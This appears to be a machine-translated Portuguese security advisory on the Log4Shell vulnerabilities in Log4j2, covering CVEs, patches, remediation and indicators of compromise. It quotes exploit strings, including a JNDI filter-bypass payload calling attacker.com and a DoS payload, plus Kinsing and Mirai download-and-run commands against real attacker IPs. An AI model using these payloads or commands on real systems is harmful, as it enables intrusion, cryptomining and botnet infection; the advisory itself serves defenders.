Sumário executivo

• Este é um comunicado atualizado no contexto do Aviso de vulnerabilidade do Log4Shell que CloudSEK enviado em 13 de dezembro de 2021, cobrindo pontos críticos significativos emergentes neste curso de eventos.
• A vulnerabilidade agora está sendo explorada por grupos notórios de ransomware, como Khonsari e Conti.
• O Log4j2 teve 3 patches de segurança de alta prioridade somente na última semana, levando ao aumento da gravidade da ameaça.
• Os agentes de ameaças ampliaram significativamente a verificação das vulnerabilidades, e vários grupos de ameaças de alto perfil com motivação financeira já se basearam na falha para executar ataques significativos.
• Recomenda-se que os usuários atualizem para a versão 2.17.0 ou posterior do Log4j2.

Atores de ameaças que vendem malware adequado para as vulnerabilidades, nos canais do Telegram

O que é Log4j?

O Log4j2 é uma biblioteca de registro baseada em Java escrita em Java, usada em várias bibliotecas de código aberto e amplamente usada nos principais aplicativos de software, como Amazon, Apple iCloud, Cisco, Cloudflare, ElasticSearch, Red Hat, Steam, Tesla, Twitter, Minecraft: Java Edition, Tencent QQ, HCL, VMware, Adobe, Atlassian, etc.

Cronograma dos eventos

Em 9 de dezembro de 2021, um bug foi divulgado com um PoC na internet, apelidado de Log4Shell, uma falha do RCE (rastreada como CVE-2021-44228). Essa foi considerada uma das vulnerabilidades mais destrutivas já descobertas. E para mitigar esse problema, um patch foi lançado em 13 de dezembro de 2021 (atualizado v2.15.0).

Esta versão foi relatada anteriormente como vulnerável a ataques de DoS (Denial of Service), seguida pelos pesquisadores confirmaram que existem desvios para a correção que foi implementada e que também tornou essa versão suscetível à falha RCE CVE-2021-45046. Para mitigar essa falha, foi lançado outro patch que também era vulnerável a ataques de DoS (CVE-2021-45105). Em seguida, um patch de segurança de alta prioridade foi lançado na v2.17.0, para mitigar todas as vulnerabilidades.

Análise de vulnerabilidade

CVE-2021-44228

A vulnerabilidade no Log4j foi causada devido a uma configuração incorreta na JNDI (Java Naming and Directory Interface). O utilitário não tinha restrições definidas para acessar o LDAP (Lightweight Directory Access Protocol). Os atacantes poderiam aproveitar essa falha a seu favor fazendo uma solicitação GET para qualquer endpoint, à qual o servidor responde com um arquivo de classe Java remoto. Esse arquivo de classe Java remoto, quando injetado no servidor, resulta em execução remota de código.

A biblioteca Java que faz o registro interpreta uma string como um comando, em vez de apenas gravá-la no log. Por exemplo, um invasor pode usar uma página de login, colocando a string de ataque no campo de nome de usuário onde ele sabe que ela será registrada.

Essa vulnerabilidade afetou as versões 2.0-beta9 a 2.14.1 e foi corrigida na versão 2.15.0

CVE-2021-45046:

A vulnerabilidade que foi descoberta originalmente em 13 de dezembro de 2021 tinha apenas DoS como um vetor de ataque em potencial e essa vulnerabilidade tinha uma pontuação CVSS de 3,7. Agora, a pontuação foi aumentada para 9, porque em algumas das configurações não padrão ainda é possível obter a execução remota de código.

Como solução alternativa oficial para o CVE-2021-44228, foi recomendado:

• Defina a propriedade do sistema ou

formatMsgNoLookups: verdadeiro

• Defina o parâmetro JVM

JAVA_OPTS = -DLog4j2.formatMsgNoLookups=true

Esses parâmetros foram definidos por padrão como Verdadeira na versão 2.15.0. Foram descobertos desvios para superar essas soluções alternativas em determinadas circunstâncias.

“Somente layouts de padrões com uma pesquisa de contexto (por exemplo, $$ {ctx:loginId}) são vulneráveis a isso. Esta página mencionou incorretamente anteriormente que o padrão Thread Context Map (%X, %mdc ou %MDC) no layout também permitiria essa vulnerabilidade.

Embora o Log4j 2.15.0 faça a melhor tentativa de restringir as pesquisas JNDI LDAP ao localhost por padrão, existem maneiras de contornar isso e os usuários não devem confiar nisso.”

Este é um trecho do blog oficial de segurança Log4j, que menciona o cenário em que a v2.15.0 também é vulnerável à execução remota de código.

Nesta versão, se a entrada do atacante estiver sendo passada para a função

logger.info (“Cadeia de caracteres” + Dados do atacante);

isso não resultará em uma pesquisa JNDI. Mas o atacante ainda terá acesso se o Log4j vulnerável estiver usando o Thread Map Context:

ThreadContext.put (“valor do padrão de layout”, AttackerData);

As propriedades padrão no Log4j v2.15.0 permitiam apenas conexões locais, portanto, o impacto foi mínimo, mas se a string do atacante estivesse no seguinte formato,

$ {ctx:valor do padrão de layout

isso resultou em uma referência recursiva e permitiu que o atacante referenciasse seu próprio servidor, o que possibilitou a busca da JNDI no servidor malicioso, injetando o arquivo da classe Java Remota e obtendo a Execução Remota de Código.

Essa vulnerabilidade afeta especificamente a v2.15.0 e qualquer versão de 2.0-beta9 a 2.14.1 usando a solução alternativa oficial mencionada acima.

CVE-2021-45105:

Essa vulnerabilidade é vulnerável a um vetor de ataque DoS que um invasor pode alcançar usando a falha de pesquisa autorreferencial. Ele permite que um invasor com controle sobre os dados do Thread Context Map cause um ataque DoS quando uma string criada é interpretada.

Exemplo de carga útil: curl https://vulnerable.server:8080 -H 'X-Api-Version: $ {$ {:: -$ {:: -$$ {:: -$}}} '

Essa vulnerabilidade afeta as versões 2.0-alpha1 a 2.16.0 (excluindo 2.12.3)

Medidas de remediação

Para resolver essa vulnerabilidade, os alvos em potencial podem seguir estas etapas:

1. Atualize para a versão mais recente, ou seja, 2.17.0
2. Se os usuários não conseguirem atualizar o Log4j2 para a versão mais recente:

• Removendo a classe JndiLookup do classpath

zip -q -d log4j-core-*.jar
org/apache/logging/log4j/core/lookup/JndiLookup.class

Por favor, observe: É aconselhável atualizar e aplicar um patch para a versão mais recente, pois essas soluções alternativas podem causar interrupções em sua atividade normal de registro.

3. Caso os usuários não consigam atualizar para a versão mais recente, recorra ao modelo IMMA

• EUisolar
• Mminimizar
• Mmonitor
• UMDefesa ativa

Isole os sistemas afetados em uma VLAN vulnerável e implante um firewall proxy com inspeção profunda de pacotes para restringir a comunicação entre os demais sistemas. Monitore padrões irregulares, procure alterações de configuração não autorizadas e também procure incompatibilidade de porta/protocolo na infraestrutura.

Por favor, observe: Se você estiver filtrando pelas palavras-chave “ldap”, “jndi” ou $ {lower:x}, há desvios disponíveis, um exemplo de carga útil pode ser:

$ {$ {env:barfoo: -j} ndi$ {env:barfoo: -:} $ {env:barfoo: -l} dap$ {env:barfoo: -:} [//attacker.com/a]}

Indicadores de compromisso

Os seguintes indicadores de comprometimento estão associados à atividade de exploração observada visando CVE-2021-44228.

CABEÇALHOS HTTP DO AGENTE DE USUÁRIO

$ {jndi:ldap: //015ed9119662 [.] bingsearchlib [.] com:39356/a}

$ {jndi:ldap: //32fce0c1f193 [.] bingsearchlib [.] com:39356/a}

$ {jndi:ldap: //3be6466b6a20 [.] bingsearchlib [.] com:39356/a}

$ {jndi:ldap: //6c8d7dd40593 [.] bingsearchlib [.] com:39356/a}

$ {jndi:ldap: //7faf976567f5 [.] bingsearchlib [.] com:39356/a}

$ {jndi:ldap: //e86eafcf9294 [.] bingsearchlib [.] com:39356/a}

$ {jndi:ldap: //80.71.158 [.] 12:5557 /básico/command/base64/kgn1
cmwglxmgodaunzeumtu4ljEYL2xOLnnofhx3z2v0ic1xic1pl
SA4MC43ms4xNTGumTiVBGGuC2GPfgjhc2g=}

$ {jndi:ldap: //45.155.205 [.] 233 [:] 12344/Básico/Comando/Base64/
KGN1cmwglxmgnduumtu1ljiwns4ymzm6ntg3nc9bdmljdglti
ELQXTPBDMLJDGLTIHBVCNRDFHx3Z2V0IC1xIC1PlSa0NS4xNTUUMJA1
ljizmzo1odc0l1t2awn0aw0gsvbdolt2awn0aw0gcg9ydf0pfgj
HC2gK}

Endereços IP

Uma lista de endereços IP maliciosos detectados nas tentativas de RCE do Apache Log4j pode ser encontrada aqui

ATIVIDADE DE MINERAÇÃO DE MINERAÇÃO

Comandos:

curl -o /tmp/kinsing http://80.71.158.12/kinsing

curl -o /tmp/libsystem.so http://80.71.158.12/libsystem.so

curl -o /etc/kinsing http://80.71.158.12/kinsing

chmod 777 /tmp/kinsing

chattr -R -i /var/spool/cron

chmod +x /etc/kinsing

URLs

hxxp [:] //45.137.155 [.] 55/ex [.] sh

hxp [:] /45.137.155 [.] 55/kinsing

hxxp [:] //80.71.158 [.] 12/libsystem.so

hxp [:] /80.71.158 [.] 12/kinsing

hxxp [:] //80.71.158 [.] 12/Exploit69ogQNSQYz.class

Hashes (SHA256)

8933820cf2769f6e7f1a711e188f551c3d5d3843c52167a34ab8d6eabb0a63ef

6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb433cc459938b

c38c21120d8c17688f9aeb2af5bdafb6b75e1d2673b025b720e50232f888808a

ATIVIDADE DE INFECÇÃO POR MIRAI

Script de recuperação Mirai (SHA256):

3f6120ca0ff7cf6389ce392d4018a5e40b131a083b071187bf54c900e2edad26 (lh [.] sh)

Comandos binários de recuperação/execução

wget hxxp [:] //62.210.130 [.] 250/web/admin/x86; chmod +x x86;. /x86 x86;

wget hxxp [:] //62.210.130 [.] 250/web/admin/x86_g; chmod +x x86_g;. /x86_g x86_g;

wget hxxp [:] //62.210.130 [.] 250/web/admin/x86_64; chmod +x x86_64;. /x86_g x86_64;

Hashes binários Mirai (SHA256)

776c341504769aa67af7efc5acc66c338dab5684a8579134d3f23165c7abcc00

8052f5cc4dfa9a8b4f67280a746acbc099319b9391e3b495a27d08fb5f08db81

2b794cc70cb33c9b3ae7384157ecb78b54aaddc72f4f9cf90b4a4ce4e6cf8984

Endereço IP do atacante Mirai

62,210,130 [.] 250

Hashes adicionais de carga útil de malware (SHA256)

0e574fd30e806fe4298b3cbccb8d1089454f42f52892f87554325cb352646049

19370ef36f43904a57a667839727c09c50d5e94df43b9cfb3183ba766c4eae3d

2a4e636c4077b493868ea696db3be864126d1066cdc95131f522a4c9f5fb3fec

2b794cc70cb33c9b3ae7384157ecb78b54aaddc72f4f9cf90b4a4ce4e6cf8984

39db1c54c3cc6ae73a09dd0a9e727873c84217e8f3f00e357785fba710f98129

5c46098887e488d91f42c6d9b93b17b2736c9f4cb5a4a1e476c87c0d310a3f28

6370939d4ff51b934b7a2674ee7307ed06111ab3b896a8847d16107558f58e5b

63d43e5b292b806e857470e53412310ad7103432ba3390ecd4f74e432530a8a9

6a8965a0f897539cc06fefe65d1a4c5fa450d002d1a9d5d69d2b48f697ee5c05

715f1f821d028e165bfa750d73505f1a6136184999411300cc88c18ebfa6e8f7

776c341504769aa67af7efc5acc66c338dab5684a8579134d3f23165c7abcc00

8052f5cc4dfa9a8b4f67280a746acbc099319b9391e3b495a27d08fb5f08db81

a3f72a73e146834b43dab8833e0a9cfee6d08843a4c23fdf425295e53517afce

b3a6fe5bc3883fd26c682bb6271a700b8a6fe006ad8df6c09cc87530fcd3a778

b55ddbaee7abf1c73570d6543dd108df0580b08f730de299579570c23b3078c0

c154d739cab62e958944bb4ac5ebad6e965a0442a3f1c1d99d56137e3efa8e40

c38f0f809a1d8c50aafc2f13185df1441345f83f6eb4ef9c48270b9bd90c6799

e20806791aeae93ec120e728f892a8850f624ce2052205ddb3f104bbbfae7f80

fe98548300025a46de1e06b94252af601a215b985dad31353596af3c1813efb0

Nota: Consulte este coleção de hashes

Referências

• Comunicado de segurança do Apache
• Consultoria de segurança da VMware
• Modelo IMMA para Log4j
• COI adicionais
• Comunicado da CERT-NZ sobre Log4Shell